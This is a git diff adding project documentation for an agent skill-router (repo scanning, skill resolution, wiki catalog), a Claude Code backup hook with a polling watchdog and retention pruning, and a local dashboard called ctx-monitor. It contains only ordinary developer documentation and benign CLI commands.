+ +--- + +## The Scanner + +### What It Detects + +The scanner reads repo structure and files to produce a **stack profile** -- a JSON +document describing everything the project uses. Detection is evidence-based: every +claim maps to a file or pattern that proves it. + +#### Detection Categories + +**1. Languages** +- Primary language(s) by file count and LOC +- Evidence: file extensions, shebangs, `*.lock` files + +**2. Frameworks & Libraries** +- Web frameworks (React, Vue, Angular, Next.js, FastAPI, Django, Express, etc.) +- ML/AI frameworks (PyTorch, TensorFlow, LangChain, LlamaIndex, CrewAI, etc.) +- Mobile (React Native, Flutter, Swift, Kotlin) +- Evidence: `package.json` deps, `requirements.txt`, `pyproject.toml`, `Cargo.toml`, + `go.mod`, import statements in entry files + +**3. Infrastructure & DevOps** +- Containerization: Dockerfile, docker-compose.yml, .containerignore +- CI/CD: `.github/workflows/`, `.gitlab-ci.yml`, `Jenkinsfile`, `.circleci/` +- IaC: Terraform (`*.tf`), Pulumi, CDK, CloudFormation, Ansible +- Cloud: AWS (SAM, CDK, `.aws/`), GCP, Azure config files +- K8s: `k8s/`, `helm/`, `kustomization.yaml` +- Evidence: config files, directory names + +**4. Data & Storage** +- Databases: migrations dir, ORM configs (Prisma, SQLAlchemy, TypeORM, Drizzle) +- Message queues: Kafka, RabbitMQ, Redis configs +- Data pipelines: Airflow DAGs, dbt, Spark configs +- Evidence: connection strings (redacted), migration files, schema files + +**5. Documentation & Content** +- Docs generators: MkDocs, Docusaurus, Sphinx, VitePress +- Content: markdown collections, MDX, RST +- API specs: OpenAPI/Swagger YAML/JSON, GraphQL schemas +- Evidence: config files, directory structure + +**6. Testing & Quality** +- Test frameworks: pytest, Jest, Vitest, Cypress, Playwright +- Linting: ESLint, Prettier, Ruff, Black, Clippy +- Type checking: TypeScript config, mypy, pyright +- Evidence: config files, test directories + +**7. AI/Agent Tooling** +- MCP servers: `mcp.json`, `.mcp/`, server configs +- Agent frameworks: LangGraph, CrewAI, AutoGen, Semantic Kernel +- Prompt management: prompt files, template dirs +- Model configs: `.env` with API keys (names only, never values), model references +- Evidence: config files, import patterns + +**8. Build & Package** +- Build tools: Webpack, Vite, esbuild, Turbopack, Bazel +- Package managers: npm, yarn, pnpm, pip, poetry, cargo, go modules +- Monorepo tools: Nx, Turborepo, Lerna, workspace configs +- Evidence: config files, lock files + +### Stack Profile Schema + +```json +{ + "repo_path": "/absolute/path", + "scanned_at": "ISO-8601", + "languages": [ + { + "name": "python", + "confidence": 0.95, + "evidence": ["pyproject.toml", "87 .py files", "poetry.lock"], + "version_hint": ">=3.11 (pyproject.toml python_requires)" + } + ], + "frameworks": [ + { + "name": "fastapi", + "category": "web", + "confidence": 0.99, + "evidence": ["pyproject.toml dependency", "main.py imports FastAPI"] + } + ], + "infrastructure": [ + { + "name": "docker", + "confidence": 1.0, + "evidence": ["Dockerfile", "docker-compose.yml"] + } + ], + "data_stores": [], + "testing": [], + "ai_tooling": [], + "build_system": [], + "docs": [], + "project_type": "api-service", + "monorepo": false, + "workspace_packages": [], + "custom_signals": {} +} +``` + +### Scanning Rules + +1. **Never read file contents unless necessary.** Start with directory listing and + filenames. Only open files when you need to disambiguate (e.g., is this React or + Preact? Check the import in the entry file). + +2. **Confidence scoring:** + - 1.0 = definitive (lock file, explicit config) + - 0.8-0.99 = strong (dependency listed, config present) + - 0.5-0.79 = probable (file patterns match, no explicit config) + - <0.5 = speculative (mention in README, commented-out code) -- do not include + +3. **Depth limits:** + - Directory tree: 3 levels deep max for initial scan + - `node_modules/`, `.git/`, `__pycache__/`, `venv/`, `.venv/`: skip entirely + - For monorepos, scan each workspace package as a sub-profile + +4. **Performance budget:** The scan should complete in under 10 seconds for repos up + to 10K files. Use `find` with exclusions, not recursive `ls`. + +5. **Version detection:** Extract version constraints from config files when available. + This helps select skill variants (e.g., React 18 vs React 19 patterns differ). + +--- + +## The Resolver + +The resolver takes a stack profile and produces a **skill manifest** -- the exact set +of skills, plugins, and MCP servers to load. + +### Resolution Algorithm + +``` +1. For each detected stack element (language, framework, infra, etc.): + a. Look up in skill-stack-matrix.md which skills serve this element + b. Check the wiki for any user-configured overrides or preferences + c. Add to candidate set with priority score + +2. Deduplicate: + - If two skills cover the same capability, prefer the more specific one + - Example: generic "python" skill vs "fastapi" skill -- keep fastapi, drop generic python + +3. Check for required companions: + - Some skills require others (e.g., "docker" skill needs "dockerfile-lint" if Dockerfile exists) + - Read companion rules from skill-stack-matrix.md + +4. Check for conflicts: + - Some skills conflict (e.g., two different CSS-in-JS skills) + - Resolve by: user preference (wiki) > specificity > recency + +5. Apply user overrides: + - Wiki pages in entities/ may have "always_load: true" or "never_load: true" flags + - These override the algorithm + +6. Produce the manifest +``` + +### Skill Manifest Schema + +```json +{ + "generated_at": "ISO-8601", + "repo_path": "/absolute/path", + "profile_hash": "sha256 of stack profile", + "load": [ + { + "skill": "fastapi", + "path": "/mnt/skills/public/fastapi/SKILL.md", + "reason": "FastAPI detected in pyproject.toml dependencies", + "priority": 1 + } + ], + "unload": [ + { + "skill": "react", + "reason": "No frontend framework detected in repo" + } + ], + "mcp_servers": [ + { + "name": "github", + "url": "https://github.mcp.example.com", + "reason": ".github/ directory with workflows detected" + } + ], + "plugins": [], + "warnings": [ + "Detected Terraform but no terraform skill is installed. Consider adding one." + ], + "suggestions": [ + { + "skill": "openapi-generator", + "reason": "OpenAPI spec found at api/openapi.yaml but no API generation skill loaded", + "install_from": "marketplace:anthropic/openapi-gen" + } + ] +} +``` + +### Priority Scoring + +Skills are ordered by priority so the most relevant instructions appear first in context: + +| Signal | Priority Boost | +|---|---| +| Framework detected with confidence >= 0.9 | +10 | +| User marked "always_load" in wiki | +20 | +| Skill used in last 3 sessions (from wiki log) | +5 | +| Skill covers primary language | +8 | +| Skill covers secondary tooling (linting, testing) | +3 | +| Skill is generic/fallback | +1 | + +--- + +## The Wiki (Persistent Catalog) + +The skill router maintains a wiki following the Karpathy LLM Wiki pattern. This is +the router's long-term memory -- it tracks what's available, what's been used, and +what the user prefers. + +### Wiki Location + +Default: `~/skill-wiki` (configurable via `skills.config.wiki.path`) + +### Wiki Structure + +``` +skill-wiki/ +├── SCHEMA.md # Conventions for this wiki domain +├── index.md # Catalog of all pages +├── log.md # Action log (scans, loads, installs) +├── raw/ # Layer 1: Immutable source data +│ ├── scans/ # Historical stack profile JSONs +│ └── marketplace-dumps/ # Cached marketplace listings +├── entities/ # Layer 2: One page per skill/plugin/MCP server +│ ├── skills/ +│ ├── plugins/ +│ └── mcp-servers/ +├── concepts/ # Layer 2: Stack patterns, best practices +├── comparisons/ # Layer 2: Skill-vs-skill analyses +└── queries/ # Layer 2: Resolved decision records +``` + +### SCHEMA.md for the Skill Wiki + +```markdown +# Skill Wiki Schema + +## Domain +Catalog and management of all available skills, plugins, MCP servers, and +marketplace sources for the agent development environment. Tracks what exists, +what's been used, what works well, and user preferences. + +## Conventions +- File names: lowercase, hyphens, no spaces +- Every page starts with YAML frontmatter +- Use [[wikilinks]] between pages (min 2 outbound per page) +- Bump `updated` on every change +- Every new page goes in index.md +- Every action appends to log.md + +## Frontmatter for Entity Pages (Skills/Plugins/MCP) + + ```yaml + --- + title: Skill Name + created: YYYY-MM-DD + updated: YYYY-MM-DD + type: skill | plugin | mcp-server | marketplace + status: installed | available | deprecated | broken + tags: [from taxonomy] + source: local | marketplace-name | github-url + path: /mnt/skills/public/skill-name/SKILL.md + stacks: [python, fastapi, docker] + always_load: false + never_load: false + last_used: YYYY-MM-DD + use_count: 0 + avg_session_rating: null + notes: "" + --- + ``` + +## Tag Taxonomy +- Stack: python, javascript, typescript, rust, go, java, ruby, swift, kotlin +- Framework: react, vue, angular, nextjs, fastapi, django, express, flask +- Infra: docker, kubernetes, terraform, ci-cd, aws, gcp, azure +- Data: sql, nosql, redis, kafka, spark, dbt, airflow +- AI: llm, agents, mcp, langchain, embeddings, fine-tuning, rag +- Quality: testing, linting, typing, security, performance +- Docs: documentation, api-spec, markdown, diagrams +- Meta: comparison, decision, pattern, troubleshooting +- Management: marketplace, registry, versioning, compatibility + +## Page Thresholds +- Create a page when a skill/plugin/MCP server is discovered (installed or available) +- Update usage/configuration metadata when the local user changes preferences +- When a new version or replacement content is found, emit an update review + first; do not replace the entity by default +- Archive when deprecated or superseded with a note pointing to the replacement + +## Update Policy +- New version of a skill, agent, MCP server, or harness: compare the existing + entity/local asset with the proposed replacement, list benefits and risks, + and require the explicit update flag before replacing content +- Skill conflict discovered: create a comparison page, update both entity pages +- User preference expressed: update entity frontmatter (always_load/never_load) +``` + +### Entity Page Template (Skill) + +```markdown +--- +title: FastAPI Skill +created: 2026-04-08 +updated: 2026-04-08 +type: skill +status: installed +tags: [python, fastapi, web] +source: local +path: /mnt/skills/public/fastapi/SKILL.md +stacks: [python, fastapi] +always_load: false +never_load: false +last_used: 2026-04-07 +use_count: 12 +avg_session_rating: 4.5 +notes: "Works well for API scaffolding. Occasionally suggests Pydantic v1 patterns." +--- + +# FastAPI Skill + +## Overview +Generates FastAPI applications, routes, middleware, and deployment configs. + +## Capabilities +- Scaffold new FastAPI projects +- Generate route handlers with Pydantic models +- Add middleware (CORS, auth, rate limiting) +- Generate OpenAPI spec customizations +- Docker + uvicorn deployment configs + +## Stack Affinity +Primary: [[python]], [[fastapi]] +Secondary: [[docker]], [[openapi]] +Companions: [[pydantic-skill]] (recommended), [[sqlalchemy-skill]] (if DB detected) +Conflicts: [[flask-skill]] (overlapping web framework) + +## Usage History +| Date | Repo | Outcome | +|------|------|---------| +| 2026-04-07 | /home/user/api-project | Generated 12 routes, good | +| 2026-03-29 | /home/user/microservice | Scaffold + Docker, good | + +## Known Issues +- Suggests `from pydantic import BaseModel` without checking if v2 `model_validator` is needed +- Does not handle GraphQL integration (use [[graphql-skill]] instead) + +## Sources +- [[raw/marketplace-dumps/anthropic-marketplace-2026-04.md]] +``` + +### Marketplace Integration + +The wiki tracks marketplace sources so the router can suggest skills the user +doesn't have yet. + +#### Marketplace Entity Page + +```markdown +--- +title: Anthropic Marketplace +created: 2026-04-08 +updated: 2026-04-08 +type: marketplace +status: active +tags: [marketplace, registry] +url: https://marketplace.anthropic.com/skills +refresh_interval_days: 7 +last_refreshed: 2026-04-08 +--- + +# Anthropic Marketplace + +## Overview +Official skill marketplace maintained by Anthropic. + +## How to Query +- API: GET /api/v1/skills?stack=python&category=web +- CLI: `hermes marketplace search --query "fastapi"` + +## Cached Listings +See [[raw/marketplace-dumps/anthropic-marketplace-2026-04.md]] + +## Install Command +`hermes skill install marketplace:anthropic/` +``` + +#### Marketplace Refresh + +When the router detects a stack element with no matching installed skill: +1. Check marketplace entity pages for `last_refreshed` +2. If stale (> `refresh_interval_days`), re-query the marketplace +3. Save new listing dump to `raw/marketplace-dumps/` +4. Create entity pages for newly discovered skills; existing pages require an + update review and explicit update flag before replacement +5. Include in the manifest's `suggestions` array + +--- + +## Core Operations + +### 1. Full Scan (repo switch or first run) + +Triggers: user opens a new project, says "scan my repo", switches working directory + +``` +① Read wiki orientation (SCHEMA, index, recent log) +② Run scan_repo.py on the target repo +③ Save scan result to raw/scans/scan-YYYY-MM-DD-reponame.json +④ Run resolve_skills.py with the profile + wiki +⑤ Present the manifest to the user: + - "Loading: [list with reasons]" + - "Unloading: [list]" + - "Suggestions: [skills you don't have but might want]" + - "Warnings: [gaps detected]" +⑥ On user confirmation, apply the manifest +⑦ Update wiki: + - Bump last_used and use_count on loaded skill entity pages + - Create entity pages for any newly discovered skills + - Append to log.md +⑧ Update index.md if new pages were created +``` + +### 2. Incremental Scan (file changes during session) + +Triggers: user creates a new config file, adds a dependency, installs a package + +The router watches for signals that the stack changed mid-session: +- New `Dockerfile` created -> check if docker skill is loaded +- `package.json` modified -> re-scan dependencies +- New `.github/workflows/` file -> check CI/CD skills +- New `*.tf` files -> check terraform skill + +For incremental scans: +``` +① Re-scan only the changed area (single file or directory) +② Diff against the current manifest +③ If new skills needed: "I noticed you added [X]. Want me to load the [Y] skill?" +④ If skills can be unloaded: "You removed [X]. I can unload the [Y] skill to free context." +⑤ Apply changes on confirmation +⑥ Log the incremental update +``` + +### 3. Manual Override + +Users can force-load or force-unload skills: + +- "Always load the docker skill" -> set `always_load: true` in wiki entity page +- "Never load the react skill" -> set `never_load: true` in wiki entity page +- "Load the terraform skill for this session" -> temporary load, no wiki change +- "What skills am I running?" -> show current manifest with reasons + +### 4. Skill Discovery + +When the user asks "what skills exist for X" or "is there a skill for Y": + +``` +① Search wiki entity pages for matching tags/stacks +② If found: show the entity page summary, status, and rating +③ If not found: query marketplace entity pages +④ If marketplace has it: suggest installation with command +⑤ If nowhere: note the gap, suggest creating a custom skill +⑥ Log the query +``` + +### 5. Wiki Maintenance (Lint) + +Runs the standard LLM Wiki lint plus skill-specific checks: + +- **Stale skills**: entity pages with `last_used` > 90 days +- **Ghost skills**: entity pages with `status: installed` but path doesn't exist +- **Orphan skills**: installed skills with no entity page in the wiki +- **Marketplace staleness**: marketplaces not refreshed within their interval +- **Conflict detection**: skills with overlapping `stacks` that are both `always_load` +- **Usage cold spots**: skills with `use_count: 0` after 30+ days -- suggest removal +- Standard wiki lint: orphan pages, broken links, index completeness, frontmatter validation + +--- + +## Integration with Karpathy LLM Wiki + +This skill extends the LLM Wiki pattern. If the user also has a general-purpose +knowledge wiki (separate from the skill wiki), the two coexist: + +- **Skill wiki** (`~/skill-wiki`): managed by skill-router, tracks tooling +- **Knowledge wiki** (`~/wiki`): managed by llm-wiki skill, tracks domain knowledge + +Cross-references between wikis use full paths: `[[~/wiki/concepts/rag.md|RAG]]` +rather than bare wikilinks (which resolve within the same wiki). + +The skill-router's wiki follows all LLM Wiki conventions: +- Three-layer architecture (raw / entities-concepts / schema) +- Frontmatter on every page +- Tag taxonomy in SCHEMA.md +- Append-only log with rotation +- Lint for consistency +- Obsidian-compatible wikilinks + +The key extension is the **entity frontmatter** -- skill/plugin/MCP pages carry +operational metadata (status, path, stacks, always_load, use_count) that the +resolver reads programmatically. This is what makes the wiki active rather than +passive -- it doesn't just store knowledge, it drives loading decisions. + +--- + +## Reporting + +After every scan, the router produces a concise report: + +``` +## Skill Router Report -- [repo-name] +Scanned: YYYY-MM-DD HH:MM + +### Stack Profile +- Languages: Python 3.11, TypeScript 5.4 +- Frameworks: FastAPI, React 18 +- Infra: Docker, GitHub Actions +- Data: PostgreSQL (SQLAlchemy), Redis +- AI: LangChain, MCP (2 servers configured) + +### Loaded (6 skills) +1. fastapi (confidence: 0.99) -- pyproject.toml +2. react (confidence: 0.95) -- package.json +3. docker (confidence: 1.0) -- Dockerfile +4. sqlalchemy (confidence: 0.9) -- alembic/ +5. langchain (confidence: 0.85) -- imports in agent.py +6. github-actions (confidence: 1.0) -- .github/workflows/ + +### Unloaded (24 skills) +[collapsed list] + +### Suggestions +- openapi-generator: OpenAPI spec found but no generation skill +- redis-skill: Redis connection in docker-compose but no Redis skill + +### Warnings +- No testing skill loaded but pytest.ini exists -- add pytest skill? +``` + +--- + +## Handling Edge Cases + +**Monorepos**: Scan each workspace package separately. Produce a merged manifest +that includes skills for all packages, with per-package annotations. + +**Empty repos**: Report "No stack detected. This looks like a new project." +Ask what the user plans to build, then suggest a starter skill set. + +**Conflicting signals**: If the repo has both `requirements.txt` AND `package.json`, +it's a polyglot project. Load skills for both stacks. Note: confidence drops if +files look abandoned (empty, very old timestamps). + +**Skill not found**: If the resolver identifies a need but no skill exists for it, +log a gap in the wiki and include in `warnings`. Suggest marketplace search or +custom skill creation. + +**User disagrees with scan**: "No, I don't use React anymore, that's legacy code." +Mark react skill as `never_load` in wiki, note the reason. The scan still sees the +files but the override takes precedence. + +--- + +## Configuration + +In `~/.hermes/config.yaml` (or equivalent agent config): + +```yaml +skills: + config: + skill-router: + wiki_path: ~/skill-wiki + auto_scan: true # Scan on repo switch + auto_load: false # Require confirmation before loading + scan_depth: 3 # Directory depth for initial scan + marketplace_refresh: 7 # Days between marketplace cache refresh + max_loaded_skills: 15 # Hard cap on simultaneous skills + incremental_watch: true # Monitor file changes mid-session + report_verbosity: normal # minimal | normal | verbose +``` + +--- + +## Pitfalls + +- **Never skip wiki orientation.** Reading SCHEMA + index + log before acting prevents + duplicates and missed context. This is the #1 cause of wiki degradation. +- **Never load all skills "just in case."** The whole point is selective loading. + If the user needs something unexpected, incremental scan catches it. +- **Never modify raw/ files.** Scan results and marketplace dumps are immutable records. +- **Always confirm before loading/unloading.** Unless `auto_load: true` is configured. +- **Don't over-scan.** Reading every file in a 50K-file monorepo is wasteful. Use + directory structure and config files first, open source files only to disambiguate. +- **Keep entity pages current.** A stale wiki is worse than no wiki -- it makes wrong + loading decisions. Run lint monthly. +- **Respect `never_load`.** User overrides are sacrosanct. Don't re-suggest skills + the user has explicitly rejected (unless they ask). +- **Log everything.** The log is how the router learns patterns across sessions. + "Last 3 times this repo was opened, the user also loaded X" is valuable signal. diff --git a/docs/backup-hook-install.md b/docs/backup-hook-install.md new file mode 100644 index 0000000000000000000000000000000000000000..299f18d18ef8c4ef6df6093d21b924d7aeba119f --- /dev/null +++ b/docs/backup-hook-install.md @@ -0,0 +1,224 @@ +# Change-triggered backup — hook install + +One page on wiring the `backup_on_change.py` PostToolUse hook into Claude +Code so a new snapshot fires automatically whenever you edit a tracked +config file (`~/.claude/settings.json`, agents, skills, top-level +manifests, etc.). + +## What it does + +On every `Edit` / `Write` / `MultiEdit` tool call, the hook: + +1. Reads the tool payload from stdin. +2. Resolves `tool_input.file_path` and checks if it sits under + `~/.claude` in a file/tree/memory path tracked by `BackupConfig`. +3. If tracked, shells out to + `python /src/backup_mirror.py snapshot-if-changed --reason :`. +4. `snapshot-if-changed` hashes every tracked file, compares against the + most recent snapshot's `manifest.json`, and only creates a new folder + when at least one SHA differs. + +No-op edits don't create folders. The hook always exits 0 so a bug in +the backup layer cannot stall a Claude session. + +## Register the hook + +Edit `~/.claude/settings.json` and add the following under `hooks` (keep +any existing entries alongside it). Replace `` with the absolute +path to this checkout — on Windows this is a path like +`C:/Steves_Files/Work/Research_and_Papers/ctx`. + +```json +{ + "hooks": { + "PostToolUse": [ + { + "matcher": "Edit|Write|MultiEdit", + "hooks": [ + { + "type": "command", + "command": "python /hooks/backup_on_change.py" + } + ] + } + ] + } +} +``` + +Notes: + +- The `matcher` is a regex against the tool name — the three names above + are the only tools that touch files. +- Use forward slashes in the path even on Windows. +- If `python` on your PATH is not the interpreter you want, give the + absolute path instead (e.g. + `C:/Users/you/.pyenv/pyenv-win/versions/3.13.2/python.exe`). + +## Verify it works + +1. Reload Claude Code (the hook registration is read at session start). +2. Edit a tracked file, e.g. `~/.claude/CLAUDE.md`. +3. Watch `~/.claude/backups/` — a new folder named + `__edit-claude-md` should appear within a second. +4. Edit the same file again with identical content — no new folder + appears (SHA is unchanged). + +If nothing shows up, run the verb manually to isolate the failure: + +```bash +python -m backup_mirror snapshot-if-changed --reason smoke-test --json +``` + +The JSON output tells you which files the detector considered new, +changed, or removed. + +## What gets backed up + +See `src/backup_config.py` and the `backup` section of +`src/config.json` for the current defaults: + +- **top_files** — `settings.json`, `skill-manifest.json`, + `pending-skills.json`, `CLAUDE.md`, `AGENTS.md`, `user-profile.json`, + `skill-system-config.json`, `skill-registry.json`. +- **trees** — `agents/`, `skills/`. +- **memory** — `projects/*/memory/**` when `memory_glob` is true. +- **always excluded** — `.credentials.json`, `claude.json`, token + caches; these are dropped even if a user config lists them. + +To override per user, drop a partial config at +`~/.claude/backup-config.json`. Fields you omit fall back to the repo +default. Example: + +```json +{ + "retention": { "keep_latest": 100 }, + "top_files": ["settings.json", "CLAUDE.md"] +} +``` + +## Manual CLI + +The same verb is available as a one-shot command: + +```bash +# snapshot only when something changed +python -m backup_mirror snapshot-if-changed --reason manual-check + +# force an unconditional snapshot with a reason label +python -m backup_mirror create --reason pre-upgrade +``` + +Both land under `~/.claude/backups/__/` and write a +`manifest.json` that records the reason alongside every file's SHA-256. + +## Watchdog — snapshot on changes outside a Claude session + +The PostToolUse hook only fires on `Edit` / `Write` / `MultiEdit` tool +calls *inside* a Claude session. If you edit `~/.claude/settings.json` +in VS Code, or a `git pull` updates an agent file, the hook never +sees it. + +For that gap, run the polling watchdog — a simple loop that calls +`snapshot-if-changed` every N seconds: + +```bash +python -m backup_mirror watchdog --interval 60 +``` + +Flags: + +| Flag | Meaning | +| --- | --- | +| `--interval N` | Seconds between polls. Clamped to `[5, 3600]`. Default 60. | +| `--reason-prefix LBL` | Prefix used for each snapshot's `--reason` label. Default `watchdog`. | +| `--once` | Run exactly one tick and exit. Useful for cron / Task Scheduler. | +| `--json` | Emit run stats as JSON on exit. | + +Because change detection is SHA-gated, polling is cheap — a tick with +no real changes does zero disk writes. + +### Running it as a background service + +Ready-to-use service manifests live under +[`docs/services/`](https://github.com/stevesolun/ctx/tree/main/docs/services). +Each one expects you to edit a handful of paths — there's no installer +that guesses where you keep the checkout. + +- **Linux (systemd user unit)** — + [`docs/services/systemd/claude-backup-watchdog.service`](https://github.com/stevesolun/ctx/blob/main/docs/services/systemd/claude-backup-watchdog.service). + Copy to `~/.config/systemd/user/`, set `CTX_REPO`, then + `systemctl --user enable --now claude-backup-watchdog.service`. +- **macOS (launchd agent)** — + [`docs/services/macos/com.claude.backup.watchdog.plist`](https://github.com/stevesolun/ctx/blob/main/docs/services/macos/com.claude.backup.watchdog.plist). + Edit the `ProgramArguments` paths, drop into + `~/Library/LaunchAgents/`, then + `launchctl load -w ~/Library/LaunchAgents/com.claude.backup.watchdog.plist`. +- **Windows (Task Scheduler installer)** — + [`docs/services/windows/install-backup-watchdog.ps1`](https://github.com/stevesolun/ctx/blob/main/docs/services/windows/install-backup-watchdog.ps1). + Run `pwsh -File docs/services/windows/install-backup-watchdog.ps1` + from the repo root; it detects Python on PATH, registers a + `ClaudeBackupWatchdog` scheduled task that runs at logon, and kicks + off the first tick. `-Uninstall` removes it. + +All three manifests assume the watchdog runs as an **unprivileged +user** — no admin/root — because it only reads `~/.claude/` and writes +`~/.claude/backups/`. + +The watchdog stops cleanly on SIGINT/SIGTERM, flushes its stats line +to stderr, and exits 0. Pair it with the hook: the hook handles +in-session edits in real time; the watchdog catches everything else. + +## Retention — how old snapshots get pruned + +Auto-pruning runs after every successful `snapshot-if-changed`, so the +hook cannot fill the disk. The active policy comes from +`BackupRetention` in `src/backup_config.py` (or your user override): + +| Field | Default | Meaning | +| --- | --- | --- | +| `keep_latest` | `50` | Always keep the N most-recent snapshots. | +| `keep_daily` | `14` | For the M most-recent UTC days that have snapshots, keep the newest snapshot from each. | + +A snapshot survives the sweep iff it's in the **union** of those two +sets. Snapshots whose `manifest.json` has a missing or zero +`created_at` are always protected — we never silently delete something +we can't place in time. + +To override per user, add a partial config at +`~/.claude/backup-config.json`: + +```json +{ + "retention": { "keep_latest": 100, "keep_daily": 30 } +} +``` + +### Manual prune + +```bash +# Dry-run the configured policy — no deletions, JSON report. +python -m backup_mirror prune --policy --dry-run --json + +# Apply the configured policy for real. +python -m backup_mirror prune --policy + +# Legacy mode (still works): keep only the N newest. +python -m backup_mirror prune --keep 20 +``` + +The policy output tells you which snapshots were kept by `keep_latest` +versus `keep_daily`, so a surprising retention decision is easy to +audit. + +## Troubleshooting + +| Symptom | Likely cause | +| --- | --- | +| Hook never fires | Settings not reloaded, or `matcher` typo. | +| Snapshot folder with no `reason` suffix | Called `create` without `--reason`. | +| Hook fires but no folder appears | Content hash matched — nothing actually changed. | +| Credentials appear in a snapshot | User put them in `top_files`; the `ALWAYS_EXCLUDE` filter would drop them — check you're on the current `backup_config.py`. | +| `ImportError: backup_config` from the hook | Repo moved; update the path in `settings.json`. | +| Snapshots pile up forever | `retention.keep_latest` / `keep_daily` too high. Run `prune --policy --dry-run --json` to see what the current policy would do, then lower the caps in `~/.claude/backup-config.json`. | +| Prune removed too much | Run `prune --policy --dry-run` *before* committing to a new policy. A snapshot with a missing/zero `created_at` is always protected, so if it's getting deleted the manifest is probably fine and the policy is genuinely too aggressive. | diff --git a/docs/dashboard.md b/docs/dashboard.md new file mode 100644 index 0000000000000000000000000000000000000000..e8a6b66f2b99aa9bfd1cfd338c7d1abd85673b58 --- /dev/null +++ b/docs/dashboard.md @@ -0,0 +1,262 @@ +# Dashboard (`ctx-monitor`) + +Local HTTP dashboard for ctx's currently supported live observables: +loaded skills, agents, and MCP servers; session timelines; the +knowledge graph; the LLM-wiki browser; quality grades + scores; +filterable audit logs; and a live event stream. Dashboard harness +exposure is not yet present. + +```bash +ctx-monitor serve # http://127.0.0.1:8765 +ctx-monitor serve --port 8888 # custom port +ctx-monitor serve --host 0.0.0.0 --port 8888 # LAN-visible (explicit opt-in) +``` + +Zero Python dependencies added by the dashboard. Everything runs on +stdlib `http.server`, using daemon request threads so a live +`/api/events.stream` client cannot block normal dashboard or JSON API +requests. Cytoscape.js is loaded from a CDN on the `/graph` route only. + +## Usage + +Every page in the dashboard has the same top nav, so getting around +is `Home → jump anywhere`. The three feature tabs new in v0.6.4 are +how you explore the dashboard-supported ctx corpus without ever touching +the CLI. The underlying ctx catalog can include harness pages and +recommendations, but `ctx-monitor` does not yet index, render, filter, +load, unload, or score harness entries. + +### Browse the LLM wiki — `/wiki` + +The wiki tab is a filterable card grid of **every dashboard-supported +entity page** under +`~/.claude/skill-wiki/entities/{skills,agents,mcp-servers}/`. MCP +server pages use the sharded layout +`entities/mcp-servers//.md`; the dashboard +routes `/wiki/` to the same shard convention. Harness pages may +exist under `entities/harnesses/`, but dashboard wiki exposure for +harnesses is not yet present. Each card shows: + +- the slug (click to open `/wiki/`) +- the quality grade pill (A/B/C/D/F) when the entity has a sidecar, + otherwise a `skill`, `agent`, or `mcp-server` type badge +- the frontmatter `description` +- up to 6 tags + +The **left sidebar** has a text search that matches across slug, +description, and tags, plus skill/agent/MCP type checkboxes. Pair them to +answer questions like "show me all grade-B agents related to +testing" — check `agent`, type `testing` in the search box. + +Dashboard-supported entity pages (`/wiki/`) render the full +markdown body, the frontmatter table on the right, and a quality banner +with deep links to `/skill/` (sidecar detail) and +`/graph?slug=` (1-hop neighborhood). + +### Explore the knowledge graph — `/graph` + +The graph tab is a cytoscape-rendered view over the dashboard-supported +skill/agent/MCP graph. The shipped graph bundle also contains remote-cataloged +Skills.sh `skill` nodes and the graph build/recommendation APIs can be +harness-aware, but this dashboard view does not yet expose harness-specific +filters or install actions. When you arrive with no +slug selected, the page shows: + +- a stats line with the total node + edge counts +- a **Popular seed slugs** panel — the 18 highest-degree entities + rendered as clickable chips (skills in indigo, agents in amber). + Click a chip to explore that entity's 1-hop neighborhood +- a search box — type any valid skill, agent, or MCP slug and press + `explore` (or hit Enter) +- the cytoscape canvas itself, which activates as soon as you pick a + seed + +Inside the cytoscape view, node colors mean: + +- **emerald** — the focus node you searched for +- **indigo** — skills +- **amber** — agents +- **red diamond** — MCP servers + +Edge width encodes the `weight` attribute (count of shared tags), so +thicker lines = stronger semantic relationships. **Tap any node** to +navigate to that entity's wiki page. The type checkboxes hide or show +skills, agents, and MCP servers without reloading the graph. There is no +harness filter or harness node styling yet. + +### Read the quality KPIs — `/kpi` + +The KPI tab is the browser equivalent of `python -m kpi_dashboard +render`. It aggregates the quality + lifecycle sidecars under +`~/.claude/skill-quality/` into a single page with six tables: + +1. **Header banner** — total entity count, subject breakdown, grade + pill counts, link to the raw `/api/kpi.json` payload, link back to + `/skills`. +2. **Grade distribution** — A/B/C/D/F count and share. +3. **Lifecycle tiers** — counts for `active`, `watch`, `demote`, + `archive`. +4. **Hard floors active** — which override reasons are currently + pinning entities to F (`never_loaded_stale`, `intake_fail`, etc.) + and how many entities each one catches. +5. **By category** — per-category count, average score, and full + A/B/C/D/F mix. This is the row most useful for "where are my D/F + skills concentrated?" +6. **Top demotion candidates** — up to 25 active-or-watch entities + graded D/F, sorted by consecutive-D streak desc then raw score + asc. Click a slug to jump to its sidecar. +7. **Archived** — slugs currently in the archive tier, with their + last-known grade. + +If the quality sidecar directory is empty (no scoring has happened +yet), the page shows a helpful empty-state pointing at +`ctx-skill-quality score --all`. + +## Routes + +### Top navigation + +Every page shows the same nav bar. The nine tabs cover the +dashboard-supported observable surface of ctx: + +``` +Home · Loaded · Skills · Wiki · Graph · KPIs · Sessions · Logs · Live +``` + +### HTML views + +Harness catalog entries are absent from these routes today; they remain +available through the CLI/API recommendation surfaces. + +| Route | What it shows | +|---|---| +| `/` | Home: six stat cards (loaded, sidecars, wiki entities, graph nodes, audit events, sessions), grade distribution pills, recent sessions table, recent audit events | +| `/loaded` | **Currently-loaded skills, agents, and MCP servers** from `~/.claude/skill-manifest.json` with per-row **unload** buttons + a text-input to load a new skill slug | +| `/skills` | Every sidecar as a filterable **card grid**: left sidebar (search by slug, grade checkboxes, skill/agent toggle, hide-floored), card shows grade pill + raw score + links to sidecar/wiki/graph | +| `/skill/` | Full sidecar breakdown: four-signal score (telemetry · intake · graph · routing), hard-floor reason, computed_at timestamp, per-skill audit timeline | +| `/wiki` | **Wiki entity index** — card grid of every dashboard-supported page under `~/.claude/skill-wiki/entities/{skills,agents,mcp-servers}/`, including sharded MCP server pages. Left sidebar: text search (slug · description · tag), skill/agent/MCP checkboxes. Harness pages are not indexed yet. | +| `/wiki/` | Dashboard-supported wiki entity page rendered: markdown body + full frontmatter table + grade banner + deep links to sidecar and graph-neighborhood views | +| `/graph` | **Graph explorer landing page** — node/edge count header, a "Popular seed slugs" block (18 highest-degree skill/agent/MCP entities as clickable chips), search box for any skill/agent/MCP slug, and the cytoscape canvas. Clicking a seed chip navigates to `/graph?slug=` | +| `/graph?slug=` | **Cytoscape-rendered** 1-hop neighborhood around the target skill/agent/MCP slug. Node colors: emerald=focus, indigo=skill, amber=agent, red diamond=MCP server. Edge width maps to shared-tag count. Tap any node → navigate to that entity's wiki page. 